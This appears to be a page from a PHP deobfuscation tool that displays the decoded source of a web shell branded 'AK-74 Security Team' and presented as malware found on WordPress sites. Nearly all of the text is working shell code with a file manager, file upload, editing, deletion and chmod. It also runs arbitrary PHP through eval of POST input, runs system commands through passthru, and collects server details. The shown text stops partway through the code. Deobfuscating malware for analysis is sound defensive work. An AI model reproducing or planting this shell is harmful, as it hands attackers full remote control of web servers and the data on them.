Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $GLOBALS["iknpldrpigo"] = "content"; $GLOBALS["olmwrdqid"] = "timestart"; $GLOBALS["fdxvupxbx"] = "shell"; $hilzzmbb = "content"; $GLOBALS["shdxowcvsq"] = "fp"; $GLOBALS["kdhmhcnuk"] = "files"; $GLOBALS["hdyzecu"] = "number"; $GLOBALS["gyyylpy"] = "content"; $GLOBALS["cvvtiemv"] = "dirs"; $...



Obfuscated php code

view sourceprint?
001<?php
002 
003$GLOBALS["iknpldrpigo"] = "content";
004$GLOBALS["olmwrdqid"] = "timestart";
005$GLOBALS["fdxvupxbx"] = "shell";
006$hilzzmbb = "content";
007$GLOBALS["shdxowcvsq"] = "fp";
008$GLOBALS["kdhmhcnuk"] = "files";
009$GLOBALS["hdyzecu"] = "number";
010$GLOBALS["gyyylpy"] = "content";
011$GLOBALS["cvvtiemv"] = "dirs";
012$nfhhbmkrpia = "content";
013$bcaxbgujhqyk = "content";
014$GLOBALS["kqhombvoisgz"] = "xshell";
015$GLOBALS["nwkrhqdzrcw"] = "res";
016$GLOBALS["fzszjgc"] = "info";
017$GLOBALS["fvyvgcirdxx"] = "path";
018$GLOBALS["pgctubg"] = "perms";
019$GLOBALS["kmdyudoev"] = "sec";
020$GLOBALS["xcglkyuot"] = "dir";
021$GLOBALS["hoyoqwd"] = "mas";
022$GLOBALS["vtpgxuvxbi"] = "file";
023$osezbewemuin = "content";
024$GLOBALS["dwjodtpv"] = "handle";
025$GLOBALS["wdyvqrczdgu"] = "i";
026error_reporting(0);
027$dbmeztzpbjd = "content";
028@set_time_limit(0);
029$yuabcquera = "xshell";
030$fridqpc = "SERVER_";
031session_start();
032$wupyapffrye = "content";
033$xshell = $SERVER_["PHP_SELF"];
034class shell
035{
036    function getfiles()
037    {
038        $GLOBALS["qzgebdlknl"] = "mas";
039        $qeosfvpx = "mas";
040        $mas = array();
041        $i = 0;
042        if ($handle = opendir($_SESSION["currentdir"])) {
043            $GLOBALS["qmdtpcoeduj"] = "handle";
044            $GLOBALS["zoaynvkz"] = "file";
045            while (false !== ($file = readdir($handle))) {
046                if ($file != "..") {
047                    if (!is_dir($_SESSION["currentdir"] . "/" . $file)) {
048                        $GLOBALS["sntlhgwvrnz"] = "file";
049                        $GLOBALS["mpyjuxikn"] = "i";
050                        $iwkugxydfbd = "file";
051                        $qjtflnyw = "mas";
052                        $nqlxlnj = "i";
053                        $zibzmuilrsk = "i";
054                        $mas[$i]["filename"] = $file;
055                        $GLOBALS["nhauqglig"] = "mas";
056                        $vpezessuwf = "i";
057                        $mas[$i]["filesize"] = filesize($_SESSION["currentdir"] . "/" . $file);
058                        $mas[$i]["lastmod"] = date("H.i/d.m.Y", filemtime($_SESSION["currentdir"] . "/" . $file));
059                        $i++;
060                    }
061                }
062            }
063            closedir($handle);
064        }
065        return $mas;
066    }
067    function getdirs()
068    {
069        $ovnbdybfxfn = "mas";
070        $GLOBALS["mscjpo"] = "mas";
071        $mas = array();
072        if ($handle = opendir($_SESSION["currentdir"])) {
073            $GLOBALS["hobugedqduo"] = "dir";
074            $GLOBALS["xwlfufyf"] = "handle";
075            while (false !== ($dir = readdir($handle))) {
076                $GLOBALS["iebmlxxk"] = "dir";
077                $qiwjehuaq = "dir";
078                $ulkfkgvahbq = "mas";
079                if ($dir != "." && is_dir($_SESSION["currentdir"] . "/" . $dir)) {
080                    $mas[] = $dir;
081                }
082            }
083            closedir($handle);
084        }
085        return ${$ovnbdybfxfn};
086    }
087    function geturl()
088    {
089        if ($_SESSION["currentdir"] . "/" == $_SERVER["DOCUMENT_ROOT"]) {
090            return "/";
091        }
092        if (strpos($_SESSION["currentdir"], str_replace("\\", "/", $_SERVER["DOCUMENT_ROOT"])) === false) {
093            return "";
094        }
095        return str_replace($_SERVER["DOCUMENT_ROOT"], "", $_SESSION["currentdir"] . "/");
096    }
097    function removefile()
098    {
099        if (file_exists($_GET["file"])) {
100            chmod($_GET["file"], 0777);
101            if (unlink($_GET["file"])) {
102                return "File deleted!";
103            } else {
104                return "File deleted!";
105            }
106        } else {
107            return "File not found!";
108        }
109    }
110    function removedir()
111    {
112        chmod($_GET["dir"], 0777);
113        if (rmdir($_GET["dir"])) {
114            return "Directory deleted!";
115        } else {
116            return "Directory not found!";
117        }
118    }
119    function getmicrotime()
120    {
121        $GLOBALS["azoxuqxbstyx"] = "sec";
122        $nyzhvmuivi = "usec";
123        $GLOBALS["gpoxftmel"] = "usec";
124        list($usec, $sec) = explode(" ", microtime());
125        return (double) $usec + (double) $sec;
126    }
127    function getpermission($path)
128    {
129        $xienitv = "info";
130        $pmibkwbh = "info";
131        $qusckboendqg = "info";
132        $umyijesr = "info";
133        $sxhrms = "info";
134        $tynbdsso = "info";
135        $perms = fileperms($path);
136        $tyfxbbfd = "perms";
137        $qelozowxyjq = "perms";
138        $wuyjuf = "perms";
139        $qgfxtbdfnruf = "perms";
140        $siebgehypj = "info";
141        $pkgutlld = "perms";
142        $GLOBALS["uchwntfz"] = "info";
143        $GLOBALS["jckaac"] = "perms";
144        if (($perms & 0xc000) == 0xc000) {
145            $info = "s";
146        } elseif (($perms & 0xa000) == 0xa000) {
147            $info = "l";
148        } elseif (($perms & 0x8000) == 0x8000) {
149            $info = "-";
150        } elseif (($perms & 0x6000) == 0x6000) {
151            $info = "b";
152        } elseif (($perms & 0x4000) == 0x4000) {
153            $info = "d";
154        } elseif (($perms & 0x2000) == 0x2000) {
155            $info = "c";
156        } elseif (($perms & 0x1000) == 0x1000) {
157            $info = "p";
158        } else {
159            $info = "u";
160        }
161        $info .= $perms & 0x100 ? "r" : "-";
162        $info .= $perms & 0x80 ? "w" : "-";
163        $info .= $perms & 0x40 ? $perms & 0x800 ? "s" : "x" : ($perms & 0x800 ? "S" : "-");
164        ${$qusckboendqg} .= $perms & 0x20 ? "r" : "-";
165        $fctqxhk = "info";
166        $info .= ${$tyfxbbfd} & 0x10 ? "w" : "-";
167        $info .= $perms & 0x8 ? $perms & 0x400 ? "s" : "x" : ($perms & 0x400 ? "S" : "-");
168        $GLOBALS["xqayvij"] = "perms";
169        $info .= $perms & 0x4 ? "r" : "-";
170        ${$umyijesr} .= $perms & 0x2 ? "w" : "-";
171        ${$tynbdsso} .= $perms & 0x1 ? $perms & 0x200 ? "t" : "x" : ($perms & 0x200 ? "T" : "-");
172        return ${$fctqxhk};
173    }
174    function getpermissionarray($path)
175    {
176        $iaorpkyboh = "res";
177        $GLOBALS["ffvutedscs"] = "perms";
178        $res = array();
179        $GLOBALS["mospvgr"] = "path";
180        $perms = fileperms($path);
181        $GLOBALS["secvlqatfohv"] = "perms";
182        $GLOBALS["bzngcqtouq"] = "perms";
183        $GLOBALS["aboxvtoyg"] = "perms";
184        $filvvij = "perms";
185        $GLOBALS["woyxpuac"] = "res";
186        $GLOBALS["mdbgzpglccyj"] = "perms";
187        $ccbjnaxobblr = "res";
188        $otymmkoxf = "res";
189        $fbhqupebtq = "res";
190        $GLOBALS["vdddnl"] = "res";
191        $gkufmuhelf = "res";
192        if (($perms & 0xc000) == 0xc000) {
193            $res[] = "s";
194        } elseif (($perms & 0xa000) == 0xa000) {
195            $res[] = "l";
196        } elseif (($perms & 0x8000) == 0x8000) {
197            $res[] = "-";
198        } elseif (($perms & 0x6000) == 0x6000) {
199            $res[] = "b";
200        } elseif (($perms & 0x4000) == 0x4000) {
201            $res[] = "d";
202        } elseif (($perms & 0x2000) == 0x2000) {
203            $res[] = "c";
204        } elseif (($perms & 0x1000) == 0x1000) {
205            $res[] = "p";
206        } else {
207            $res[] = "u";
208        }
209        $GLOBALS["nfmqqbwyhr"] = "perms";
210        $res[] = $perms & 0x100 ? "r" : "-";
211        $GLOBALS["rmhkov"] = "res";
212        $res[] = $perms & 0x80 ? "w" : "-";
213        $res[] = $perms & 0x40 ? $perms & 0x800 ? "s" : "x" : ($perms & 0x800 ? "S" : "-");
214        $res[] = $perms & 0x20 ? "r" : "-";
215        $res[] = $perms & 0x10 ? "w" : "-";
216        ${$fbhqupebtq}[] = $perms & 0x8 ? ${$filvvij} & 0x400 ? "s" : "x" : ($perms & 0x400 ? "S" : "-");
217        $GLOBALS["gxyvyqrjw"] = "perms";
218        ${$otymmkoxf}[] = $perms & 0x4 ? "r" : "-";
219        $eyjzgfr = "perms";
220        $res[] = $perms & 0x2 ? "w" : "-";
221        ${$gkufmuhelf}[] = $perms & 0x1 ? $perms & 0x200 ? "t" : "x" : ($perms & 0x200 ? "T" : "-");
222        return ${$iaorpkyboh};
223    }
224    function outputhead()
225    {
226        $yeyubpcd = "res";
227        $res = "";
228        $res = "<html><head><title>AK-74 Security Team Web Shell</title><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"></head>\n<body>\n<STYLE>\nA:link {\n\tCOLOR: #4d6d91; TEXT-DECORATION: underline\n}\nA:active {\n\tCOLOR: #4d6d91; TEXT-DECORATION: underline\n}\nA:visited {\n\tCOLOR: #4d6d91; TEXT-DECORATION: underline\n}\nA:hover {\n\tCOLOR: #C10000; TEXT-DECORATION: underline\n}\nTD {\n\tFONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica\n}\nBODY {\n\tFONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica; SCROLLBAR-FACE-COLOR: #cccccc; SCROLLBAR-HIGHLIGHT-COLOR: #c10000; SCROLLBAR-SHADOW-COLOR: #c10000; SCROLLBAR-3DLIGHT-COLOR: #830000; SCROLLBAR-ARROW-COLOR: #c10000; SCROLLBAR-TRACK-COLOR: #eeeeee; FONT-FAMILY: verdana; SCROLLBAR-DARKSHADOW-COLOR: #830000; BACKGROUND-COLOR: #dcdcdc; \n}\n</STYLE>\n<div align=\"center\"><table border=1 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 2px solid\">\n <tr>\n  <td colspan=7 align=\"center\">\n   <b><font color=#830000 size=4>.:: :[ AK-74 Security Team Web-shell ]: \n::.</font></b>\n  </td>\n </tr>";
229        return $res;
230    }
231    function outputmenu()
232    {
233        $eblbmi = "xshell";
234        $GLOBALS["omlmyuabmc"] = "res";
235        $jrizoflsr = "xshell";
236        $GLOBALS["kzvefdrkoqf"] = "res";
237        $res = "";
238        $txbsfjnhvi = "xshell";
239        $res .= "<tr>\n  <td colspan=7 align=\"center\">\n   <table border=0 cellspacing=0 cellpadding=0>\n    <tr align=\"center\">\n\t <td width=150>\n\t  <a href=\"" . $xshell . "?act=info\">General information</a>\n\t </td>\n\t <td width=150>\n\t  <a href=\"" . $xshell . "?act=filemanager\">File manager</a>\n\t </td>\n\t <td width=80>\n\t  <a href=\"" . $xshell . "?act=phpinfo\" target=\"_blank\">phpinfo()</a>\n\t </td>\n\t <td width=110>\n\t  <a href=\"" . $xshell . "?act=execute\">Run PHP</a>\n\t </td>\n\t <td width=150>\n\t  <a href=\"" . $xshell . "?act=exesys\">Execute the command</a>\n\t </td>\n      </tr>\n   </table>\n  </td>\n </tr>";
240        return $res;
241    }
242    function outputdown()
243    {
244        $res = "";
245        $GLOBALS["srzeskty"] = "res";
246        $res = "</table></div></body></html>";
247        return $res;
248    }
249    function outputfilemanager()
250    {
251        $GLOBALS["udmmztjca"] = "xshell";
252        $GLOBALS["ychruqucrf"] = "xshell";
253        $powlcxkoeay = "files";
254        $shvztfinhxe = "dirs";
255        $ckrwmyieozcl = "res";
256        $GLOBALS["vmuyoysyoe"] = "res";
257        $GLOBALS["orpfxw"] = "res";
258        $GLOBALS["tuwswjh"] = "res";
259        $GLOBALS["acmzbxffk"] = "res";
260        $res = "";
261        $GLOBALS["vdtvfpbhyru"] = "number";
262        $uxuysqwhok = "files";
263        $number = 0;
264        $GLOBALS["sejtvw"] = "dirs";
265        $qflffdcxsrx = "i";
266        $dirs = $this->getdirs();
267        $files = $this->getfiles();
268        $GLOBALS["asxszifet"] = "i";
269        sort($dirs);
270        sort($files);
271        $res .= "\n <tr>\n  <td colspan=7 align=\"center\">\n  <font color=#830000> The current directory:</font><b><font color=#830000>" . $_SESSION["currentdir"] . "</font></b>\n  </td>\n </tr>\n <tr align=\"center\">\n  <td width=30>\n   &nbsp;\n  </td>\n  <td width=330>\n   &nbsp;\n  </td>\n  <td width=80><font color=#830000>,</font> <b><font color=#830000>byte</font></b>\n   &nbsp;\n  </td>\n  <td width=120><font color=#830000>\n   Recent change\n   </font>\n  </td>\n  <td width=80 align=\"center\"><font color=#830000>Access right</font>\n   &nbsp;\n  </td>\n  <td width=30>\n   &nbsp;\n  </td>\n  <td width=30>\n   &nbsp;\n  </td>\n </tr>";
272        $kshyqqibce = "i";
273        $hjbbitpe = "res";
274        $GLOBALS["wyqypgtjmi"] = "i";
275        for ($i = 0; ${$qflffdcxsrx} < count(${$shvztfinhxe}); $i++) {
276            $GLOBALS["vapieoe"] = "res";
277            $wokhmi = "xshell";
278            $GLOBALS["uvckfgaxtwdw"] = "res";
279            $kwqcswqlscsg = "i";
280            $GLOBALS["wjjxsx"] = "xshell";
281            $GLOBALS["bbrtstbve"] = "dirs";
282            $GLOBALS["jeyjcbtlodsa"] = "dirs";
283            $GLOBALS["ywnqtawj"] = "i";
284            $GLOBALS["fxthzy"] = "dirs";
285            $res .= "<tr><td><b><font color=#830000>" . ++$number . "</font></b></td><td><b><a href=\"" . $xshell . "?act=filemanager&dir=" . $dirs[$i] . "\">" . $dirs[$i] . "</a></b></td><td>&nbsp;</td><td>&nbsp;</td><td>";
286            $res .= "<a href=\"" . $xshell . "?act=chmod&file=" . $_SESSION["currentdir"] . "/" . $dirs[$i] . "\">" . $this->getpermission($_SESSION["currentdir"] . "/" . $dirs[$i]) . "</a>";
287            $res .= "</td><td>&nbsp;</td><td><a href=\"" . $xshell . "?act=filemanager&act3=del&dir=" . $_SESSION["currentdir"] . "/" . $dirs[$i] . "\">delete</a></td></tr>";
288        }
289        for (${$kshyqqibce} = 0; $i < count($files); $i++) {
290            $GLOBALS["gkyyblyqymf"] = "i";
291            $fwvwil = "files";
292            $vdxzvdus = "res";
293            $gruvymtvqist = "xshell";
294            $GLOBALS["qwtxsjlqhhf"] = "files";
295            $evvwgjhmulxe = "files";
296            $GLOBALS["tefzqpvhph"] = "files";
297            $GLOBALS["omvsytrtatv"] = "i";
298            $GLOBALS["ypsmanoevl"] = "i";
299            $wpdhhfskcteg = "i";
300            $ihduysxmqju = "res";
301            $GLOBALS["tkghkgf"] = "res";
302            $res .= "<tr><td><b><font color=#830000>" . ++$number . "</font></b></td>";
303            $res .= "<td><a href=\"" . $xshell . "?act=down&file=" . $_SESSION["currentdir"] . "/" . $files[$i]["filename"] . "\">" . $files[$i]["filename"] . "</a></td>";
304            $res .= "<td>&nbsp;&nbsp;" . $files[$i]["filesize"] . "</td>";
305            $khftnbmpvvs = "xshell";
306            $res .= "<td align=\"center\">" . $files[$i]["lastmod"] . "</td>";
307            $res .= "<td align=\"center\"><a href=\"" . $xshell . "?act=chmod&file=" . $_SESSION["currentdir"] . "/" . $files[$i]["filename"] . "\">" . $this->getpermission($_SESSION["currentdir"] . "/" . $files[$i]["filename"]) . "</a></td>";
308            $tomphosfc = "res";
309            $res .= "<td align=\"center\"><a href=\"" . $xshell . "?act=edit&file=" . $_SESSION["currentdir"] . "/" . $files[$i]["filename"] . "\">edit</a></td>";
310            $res .= "<td align=\"center\"><a href=\"" . $xshell . "?act=filemanager&act2=del&file=" . $_SESSION["currentdir"] . "/" . $files[$i]["filename"] . "\">delete</a></td></tr>";
311        }
312        ${$ckrwmyieozcl} .= "</table><br>";
313        $res .= "<table border=0 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 2px solid\">";
314        $pykgqvz = "res";
315        $res .= "<tr><td align=center><form action=\"" . $xshell . "?act=filemanager\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"mkdir\"><b><font color=#830000> :</b></font> </td><td><input type=\"text\" name=\"dircreate\"><input type=\"submit\" value=\"\"></form></td></tr>";
316        $res .= "<tr><td align=center><form action=\"" . $xshell . "?act=filemanager\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"createfile\"><b><font color=#830000> :</b></font></td><td> <input type=\"text\" name=\"filecreate\"><input type=\"submit\" value=\"\"></form></td></tr>";
317        $res .= "<tr><td align=center><form enctype=\"multipart/form-data\" action=\"" . $xshell . "?act=filemanager\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"uploadfile\"><b><font color=#830000> :</font></b></td><td><input type=\"file\" name=\"filename\" size=\"23\"> <b><font color=#830000>  </b></font></td><td> <input type=\"text\" name=\"filename2\"><input type=\"submit\" value=\"\"></form></td></tr>";
318        $res .= "<table border=0 width=\"700\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid\">";
319        ${$hjbbitpe} .= "<tr><td align=center><b><font color=#83000>Copyright </font><a href=\"http://ak74-team.net\" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - " . date("Y") . "</font></b></td></tr>";
320        return ${$pykgqvz};
321    }
322    function outputinfo()
323    {
324        $vbgcqwfncvvz = "res";
325        $myhjur = "res";
326        $res = "";
327        $res .= "<tr>\n  <td align=\"center\" colspan=7>\n   <b><font color=#83000>General information about the server</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"left\"><br>\n   <ol>\n    <b><font color=#830000>1. OS - </font></b><font color=#830000>" . php_uname() . "</font><br><br>\n    <b><font color=#830000>2.   PHP - </font></b><font color=#830000>" . phpversion() . "</font><br><br>\n    <b><font color=#830000>3.</font></b><font color=#830000> <b><font color=#830000>User</b></font> - " . get_current_user() . " <b><font color=#830000>|| User ID</font></b> - " . getmyuid() . " <b><font color=#830000>|| Group ID</b></font> - " . getmygid() . "</font><br><br>\n    <b><font color=#830000>4. Server Software - </font></b><font color=#830000>" . getenv("SERVER_SOFTWARE") . "</font><br><br>\n    <b><font color=#830000>5. Request Method - </font></b><font color=#830000>" . getenv("REQUEST_METHOD") . "</font><br><br>\n    <b><font color=#830000>6. Server IP - </font></b><font color=#830000>" . getenv("SERVER_ADDR") . "</font><br><br>\n    <b><font color=#830000>7. Your IP - </font></b><font color=#830000>" . getenv("REMOTE_ADDR") . "</font><br><br>\n\t<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>" . getenv("HTTP_X_FORWARDED_FOR") . "</font><br><br>\n</td>\n </tr>\n <table border=0 width=\"555\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid\">\n<tr><td align=center><b><font color=#83000>Copyright </font><a href=\"http://ak74-team.net\" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - " . date("Y") . "</font></b></td></tr>";
328        return $res;
329    }
330    function chmodform($file)
331    {
332        $istixexbyxa = "file";
333        $nrugpeehr = "res";
334        $yvdvvaai = "i";
335        $GLOBALS["nwfedck"] = "perms";
336        $fewqjextf = "file";
337        $perms = $this->getpermissionarray($file);
338        $GLOBALS["ynokejbtuh"] = "perms";
339        $GLOBALS["ngqiunigukfh"] = "perms";
340        $uizdfjdf = "res";
341        $hammouvne = "i";
342        $GLOBALS["ykexebt"] = "res";
343        $GLOBALS["pefltgfgwzb"] = "i";
344        $res = "";
345        $res .= "<form action=\"" . $xshell . "?act=filemanager\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"chmod\">" . "<input type=\"hidden\" name=\"file\" value=\"" . $file . "\">\n <tr>\n  <td align=\"center\" colspan=7>\n   <b><font color=#83000>Changing access permissions</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"center\">\n   <table border=1 cellspacing=0 cellpadding=0>";
346        $ftrxmefkqxh = "i";
347        $res .= "<tr align=\"center\"><td>&nbsp;</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td></tr>";
348        $GLOBALS["yggjmwlv"] = "res";
349        $res .= "<tr><td><input type=\"hidden\" name=\"perms0\" value=\"" . $perms[0] . "\">" . $perms[0] . "</td>";
350        for ($i = 1; $i <= 9; $i++) {
351            $res .= "<td><input type=\"checkbox\" name=\"perms" . ${$ftrxmefkqxh} . "\"" . ($perms[${$yvdvvaai}] != "-" ? " checked" : "") . "></td>";
352        }
353        $res .= "</tr><tr><td colspan=10 align=\"right\"><input type=\"submit\" value=\"Save\"></td></tr>";
354        $res .= "</table></td></tr></form>";
355        return $res;
356    }
357    function editfileform($file)
358    {
359        $rwaotihpr = "fp";
360        $GLOBALS["wcqoifupsbh"] = "file";
361        $yyvjrmlhyubj = "fp";
362        $fp = fopen($file, "r");
363        if (!$fp) {
364            return " ";
365        }
366        $res = "";
367        $zeleyib = "res";
368        $hjrxrmu = "res";
369        $GLOBALS["ryysceaq"] = "res";
370        $GLOBALS["yjdeuf"] = "res";
371        $GLOBALS["kwyxxau"] = "file";
372        $res .= "<form action=\"" . $xshell . "?act=filemanager\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"editfile\">" . "<input type=\"hidden\" name=\"file\" value=\"" . $file . "\"><tr>\n  <td align=\"center\" colspan=7>\n   <b><font color=#83000>Edit the file</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"center\">\n   <table border=1 cellspacing=0 cellpadding=0>";
373        $res .= "<tr><td><textarea rows=25 cols=100 name=\"filecontent\">" . htmlspecialchars(fread(${$rwaotihpr}, filesize($file))) . "</textarea></td></tr>";
374        $res .= "<tr><td align=\"right\"><b><font color=#830000>Rename:</font></b> <INPUT TYPE=TEXT NAME=rename size=100 maxlength=9999999 value=" . $file . "> - <input type=\"submit\" value=\"Edit\"></td></tr>";
375        $res .= "</table></td></tr></form>";
376        fclose(${$yyvjrmlhyubj});
377        return $res;
378    }
379    function executeform()
380    {
381        $GLOBALS["gbbivqermof"] = "xshell";
382        $GLOBALS["jcoxegkjqmx"] = "res";
383        $res = "";
384        $res .= "<form action=\"" . $xshell . "?act=execute\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"execute\">\n <tr>\n  <td align=\"center\" colspan=7>\n   <b><font color=#83000>Executing PHP code<br> Opening and closing PHP code ( &lt;?  ?> ) no need to write!</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"center\">\n   <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=20 cols=80 name=\"phpcode\">";
385        $res .= "</textarea></td></tr><tr><td align=\"right\"><input type=\"submit\" value=\"\"></td></tr></table></td></tr>\n <table border=0 width=\"555\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid\">\n<tr><td align=center><b><font color=#83000>Copyright </font><a href=\"http://ak74-team.net\" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - " . date("Y") . "</font></b></td></tr>";
386        return $res;
387    }
388    function execute()
389    {
390        echo "<hr>";
391        echo "<pre>";
392        eval(stripslashes($_POST["phpcode"]));
393        echo "</pre>";
394        echo "<hr>";
395    }
396    function exesysform()
397    {
398        $husxnjellv = "res";
399        $res = "";
400        $GLOBALS["lmwlmrqw"] = "res";
401        $GLOBALS["ubwopher"] = "res";
402        $res .= "<form action=\"" . $xshell . "?act=exesys\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"exesys\">\n <tr>\n  <td align=\"center\" colspan=7>\n   <b><font color=#83000>Execute system commands!</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"center\">\n   <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=5 cols=80 name=\"cmmd\">";
403        $res .= "</textarea></td></tr><tr><td align=\"right\"><input type=\"submit\" value=\"Perform\"></td></tr></table></td></tr>\n <table border=0 width=\"555\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid\">\n<tr><td align=center><b><font color=#83000>Copyright </font><a href=\"https://www.r57.gen.tr/\" title=\"r57.gen.tr\">r57.gen.tr</a> - <a href=\"http://ak74-team.net\" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - " . date("Y") . "</font></b></td></tr>";
404        return $res;
405    }
406    function exesys()
407    {
408        $GLOBALS["yvcpokfc"] = "result";
409        echo "<hr>";
410        echo "<pre>";
411        $result = passthru($_POST["cmmd"]);
412        echo "</pre>";
413        echo "<hr>";
414    }
415    function editfile($file)
416    {
417        if (!empty($_POST["rename"])) {
418            rename($_POST["file"], $_POST["rename"]);
419        }
420        $fp = fopen($_POST["rename"], "w");
421        if (!$fp) {
422            return 0;
423        }
424        fwrite($fp, stripslashes($_POST["filecontent"]));
425        fclose($fp);
426        return 1;
427    }
428    function chmodfile($file)
429    {
430        $tpmdfbgb = "res";
431        $ipjaivcsdnlk = "res";
432        $sgwdghqlhfy = "res";
433        $GLOBALS["pufgvr"] = "res";
434        $fcpofletrcs = "res";
435        $GLOBALS["ikiudyniptdh"] = "res";
436        $GLOBALS["lzykxw"] = "res";
437        $hlfwyxuk = "res";
438        $feixofkogs = "res";
439        $tulbauxmvcdt = "res";
440        $txyrsfflh = "res";
441        $res = 0;
442        $gorewqwudp = "res";
443        switch ($_POST["perms0"]) {
444            case "s":
445                $res |= 0xc000;
446                break;
447            case "l":
448                $res = ${$gorewqwudp} | 0xa000;
449                break;
450            case "-":
451                ${$hlfwyxuk} |= 0x8000;
452                break;
453            case "b":
454                $res |= 0x6000;
455                break;
456            case "d":
457                $res |= 0x4000;
458                break;
459            case "c":
460                $res |= 0x2000;
461                break;
462            case "p":
463                $res |= 0x1000;
464                break;
465            case "u":
466                break;
467        }
468        $GLOBALS["xeomnnbyudw"] = "res";
469        if (isset($_POST["perms1"])) {
470            $res |= 0x100;
471        }
472        if (isset($_POST["perms2"])) {
473            $res = ${$tpmdfbgb} | 0x80;
474        }
475        if (isset($_POST["perms3"])) {
476            $res = ${$txyrsfflh} | 0x40;
477        }
478        if (isset($_POST["perms4"])) {
479            ${$feixofkogs} = $res | 0x20;
480        }
481        if (isset($_POST["perms5"])) {
482            $res |= 0x10;
483        }
484        if (isset($_POST["perms6"])) {
485            $res = ${$tulbauxmvcdt} | 0x8;
486        }
487        if (isset($_POST["perms7"])) {
488            $res = ${$fcpofletrcs} | 0x4;
489        }
490        if (isset($_POST["perms8"])) {
491            $res |= 0x2;
492        }
493        if (isset($_POST["perms9"])) {
494            $res |= 0x1;
495        }
496        echo substr(sprintf("%o", $res), 4);
497        return chmod($file, intval(substr(sprintf("%o", $res), 4), 8));
498    }
499    function downloadfile($file)
500    {
501        $jehqknntr = "file";
502        header("Content-Type: application/octet-stream");
503        header("Content-Length: " . filesize($file));
504        header("Content-Disposition: attachment; filename={$file}");
505        readfile($file);
506        die;
507    }
508    function createdir()
509    {
510        if (!empty($_POST["dircreate"])) {
511            if (mkdir($_SESSION["currentdir"] . "/" . $_POST["dircreate"])) {
512                return "Directory created!";
513            }
514        }
515        return "Error creating directory";
516    }
517    function createfile()
518    {
519        if (!empty($_POST["filecreate"])) {
520            $GLOBALS["lwhsyzdtepf"] = "fp";
521            if (file_exists($_SESSION["currentdir"] . "/" . $_POST["filecreate"])) {
522                return "  ";
523            }
524            $fp = fopen($_SESSION["currentdir"] . "/" . $_POST["filecreate"], "w");
525            if ($fp) {
526                $nwmcqdkwk = "fp";
527                fclose($fp);
528                return " !";
529            }
530        }
531        return "Error creating file";
532    }
533    function uploadfile()
534    {
535        if ($_FILES["filename"]["error"] != 0) {
536            return "121212";
537        }
538        $_POST["filename2"] = trim($_POST["filename2"]);
539        if (empty($_POST["filename2"])) {
540            $_POST["filename2"] = $_FILES["filename"]["name"];
541        }
542        if (!copy($_FILES["filename"]["tmp_name"], $_SESSION["currentdir"] . "/" . $_POST["filename2"])) {
543            if (!move_uploaded_file($_FILES["filename"]["tmp_name"], $_SESSION["currentdir"] . "/" . $_POST["filename2"])) {
544                return "File download failed...";
545            }
546        }
547        return "The file was uploaded successfully!";
548    }
549}
550$shell = new shell();
551$timestart = $shell->getmicrotime();
552$content = "";
553if (!isset($_SESSION["currentdir"])) {
554    $_SESSION["currentdir"] = str_replace("\\", "/", $_SERVER["DOCUMENT_ROOT"]);
555}
556if (isset($_GET["dir"])) {
557    if (opendir(realpath($_SESSION["currentdir"] . "/" . $_GET["dir"]))) {
558        $_SESSION["currentdir"] = realpath($_SESSION["currentdir"] . "/" . $_GET["dir"]);
559    }
560    Header("Location: {$xshell}?act=filemanager");
561}
562$_SESSION["currentdir"] = str_replace("\\", "/", $_SESSION["currentdir"]);
563$bxmeyfko = "content";
564if (substr($_SESSION["currentdir"], 1, 1) == "/") {
565    $_SESSION["currentdir"] = substr($_SESSION["currentdir"], 0, 1);
566}
567$GLOBALS["lvsmiwfpysj"] = "content";
568switch ($_POST["action"]) {
569    case "chmod":
570        if ($shell->chmodfile($_POST["file"])) {
571            ${$GLOBALS["iknpldrpigo"]} .= "The change was successful";
572        }
573        break;
574    case "editfile":
575        if ($shell->editfile($_POST["file"])) {
576            ${$wupyapffrye} .= "The edit was successful";
577        }
578        break;
579    case "execute":
580        $shell->execute();
581        break;
582    case "exesys":
583        $shell->exesys();
584        break;
585    case "mkdir":
586        ${$GLOBALS["iknpldrpigo"]} .= $shell->createdir();
587        break;
588    case "createfile":
589        ${$dbmeztzpbjd} .= $shell->createfile();
590        break;
591    case "uploadfile":
592        ${$GLOBALS["iknpldrpigo"]} .= $shell->uploadfile();
593        break;
594}
595${$GLOBALS["iknpldrpigo"]} .= $shell->outputhead();
596${$GLOBALS["iknpldrpigo"]} .= $shell->outputmenu();
597switch ($_GET["act"]) {
598    case "edit":
599        ${$GLOBALS["gyyylpy"]} .= $shell->editfileform($_GET["file"]);
600        break;
